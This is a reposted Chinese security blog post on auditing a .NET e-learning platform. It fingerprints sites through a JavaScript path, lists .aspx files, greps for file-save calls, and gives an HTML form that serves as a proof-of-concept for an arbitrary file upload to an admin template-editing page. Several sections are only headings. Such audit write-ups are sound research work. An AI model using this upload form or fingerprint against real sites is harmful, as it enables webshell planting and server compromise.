一、寻找源码
"/templates/web/netschool/corescripts/verify.js"
搜出来的相同站点比较多,根据案例里的连接挨个访问,在某个站底部发现版权为某厦商学院学习平台,知道版权就很容易找到源码了。二、快速审计技巧
0x01 确定路由结构
0x02 未授权访问
先用命令导出所有脚本结构
C:UsersAdministratorDesktopwxqysxy-a5>dir /a /s /b *.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinNativePayPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinOrderQueryPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinProductPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinPublicPay.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinRefundPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinRefundQueryPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5PayWeixinResultNotifyPage.aspx
C:UsersAdministratorDesktopwxqysxy-a5UtilityCodeImg.aspx
C:UsersAdministratorDesktopwxqysxy-a5UtilityDefault.aspx
0x03 任意文件上传
C:UsersAdministratorDesktopshop>findstr /msi /c:"saveas" *.*
Song.Site.Manage.AdminSetup_Qrcode.cs
Song.Site.Manage.AdminSetup_Stamp.cs
Song.Site.Manage.PanelAuthorization.cs
Song.Site.Manage.TemplateList_Edit.cs
Song.Site.Manage.UtilityExcelInput.cs
Song.Site.Manage.Utility.UploadPathUploading.cs
Song.Site.UtilityExamFileUp.cs
<form id="LoginForm" action="http://x:8084/Manage/Template/List_Edit.aspx" method="post" enctype="multipart/form-data">
<div class="aspNetHidden">
<input type="text" name="org">
<input type="text" name="NSRSBH">
<input type="file" name="org">
<input type="submit" name="btn_Click" id="btn_Click">
注:如有侵权请联系删除
学习更多技术,关注我:
原文始发于微信公众号(编码安全研究):记一次项目中如何快速定位.net漏洞点
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论